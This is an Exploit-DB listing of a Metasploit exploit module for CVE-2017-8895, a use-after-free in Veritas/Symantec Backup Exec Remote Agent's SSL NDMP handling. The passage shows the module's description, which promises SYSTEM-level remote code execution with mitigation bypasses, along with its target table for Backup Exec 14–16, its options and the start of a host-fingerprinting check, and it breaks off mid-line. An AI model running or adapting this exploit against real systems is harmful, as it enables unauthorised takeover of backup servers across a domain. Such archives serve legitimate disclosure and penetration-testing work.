Exploit-DB #42282
Description: Veritas/Symantec Backup Exec - SSL NDMP Connection Use-After-Free (Metasploit)
Type: remote
Platform: windows
Date: 2017-06-29
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/ndmp_socket'

require 'openssl'
require 'xdr'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::NDMPSocket

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Veritas/Symantec Backup Exec SSL NDMP Connection Use-After-Free',
      'Description'    => %q{
        This module exploits a use-after-free vulnerability in the handling of SSL NDMP
        connections in Veritas/Symantec Backup Exec's Remote Agent for Windows. When SSL
        is re-established on a NDMP connection that previously has had SSL established,
        the BIO struct for the connection's previous SSL session is reused, even though it
        has previously been freed.

        This module supports 3 specific versions of the Backup Exec agent in the 14, 15
        and 16 series on 64-bit and 32-bit versions of Windows and has been tested from
        Vista to Windows 10. The check command can help narrow down what major and minor
        revision is installed and the precise of version of Windows, but some other
        information may be required to make a reliable choice of target.

        NX, ASLR and Windows 8+ anti-ROP mitigations are bypassed. On Windows 8+, it has a
        reliability of around 85%. On other versions of Windows, reliability is around 35%
        (due to the need to win a race condition across the network in this case; this may
        drop further depending on network conditions). The agent is normally installed on
        all hosts in a domain that need to be backed up, so if one service crashes, try
        again on another :) Successful exploitation will give remote code execution as the
        user of the Backup Exec Remote Agent for Windows service, almost always
        NT AUTHORITY\SYSTEM.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Matthew Daley' ],
      'References'     =>
        [
          [ 'CVE', '2017-8895' ],
          [ 'VTS', '17-006' ],
          [ 'URL', 'https://www.veritas.com/content/support/en_US/security/VTS17-006.html' ]
        ],
      'Platform'       => 'win',
      'Stance'         => Msf::Exploit::Stance::Aggressive,
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'Targets'        =>
        [
          [
            'Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x64',
            { 'Version' => 14, 'Arch' => ARCH_X64, 'Win8Upwards' => true }
          ],
          [
            'Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x86',
            { 'Version' => 14, 'Arch' => ARCH_X86, 'Win8Upwards' => true }
          ],
          [
            'Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x64',
            { 'Version' => 14, 'Arch' => ARCH_X64, 'Win8Upwards' => false }
          ],
          [
            'Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x86',
            { 'Version' => 14, 'Arch' => ARCH_X86, 'Win8Upwards' => false }
          ],
          [
            'Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x64',
            { 'Version' => 15, 'Arch' => ARCH_X64, 'Win8Upwards' => true }
          ],
          [
            'Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x86',
            { 'Version' => 15, 'Arch' => ARCH_X86, 'Win8Upwards' => true }
          ],
          [
            'Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x64',
            { 'Version' => 15, 'Arch' => ARCH_X64, 'Win8Upwards' => false }
          ],
          [
            'Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x86',
            { 'Version' => 15, 'Arch' => ARCH_X86, 'Win8Upwards' => false }
          ],
          [
            'Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x64',
            { 'Version' => 16, 'Arch' => ARCH_X64, 'Win8Upwards' => true }
          ],
          [
            'Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x86',
            { 'Version' => 16, 'Arch' => ARCH_X86, 'Win8Upwards' => true }
          ],
          [
            'Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x64',
            { 'Version' => 16, 'Arch' => ARCH_X64, 'Win8Upwards' => false }
          ],
          [
            'Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x86',
            { 'Version' => 16, 'Arch' => ARCH_X86, 'Win8Upwards' => false }
          ]
        ],
      'DefaultOptions' =>
        {
          'RPORT'              => 10000,
          'NumTriggerAttempts' => 50,
          'EXITFUNC'           => 'thread'
        },
      'Privileged'     => true,
      'DisclosureDate' => 'May 10 2017',
      'DefaultTarget'  => 8))

    register_options([
      OptInt.new('NumSpraySockets',    [ false, 'Number of sockets to spray stage 1 with' ]),
      OptInt.new('NumTLSSpraySockets', [ false, 'Number of sockets to spray TLS extensions with' ]),
      OptInt.new('NumTriggerAttempts', [ true,  'Number of attempts to trigger the vulnerability (Windows 8+ only)' ])
    ])
  end

  def check
    s = NDMP::Socket.new(connect)
    return CheckCode::Unknown unless connect_ndmp(s, 2)

    resp = s.do_request_response(NDMP::Message.new_request(NDMP::Message::CONFIG_GET_HOST_INFO))
    return CheckCode::Unknown unless resp
    info = HostInfoResponse.from_xdr(resp.body)
    print_line('Hostname: ' + info.hostname)
    print_line('OS type: ' + info.os_type)
    print_line('OS version: ' + info.os_version)
    print_line('Host ID: ' + info.host_id)

    disconnect
    s = NDMP::Socket.new(connect)
    return CheckCode::Unknown unless connect_ndmp(s, 3)

    resp = s.do_request_response(NDMP::Message.new_request(NDMP::Message::CONFIG_GET_SERVER_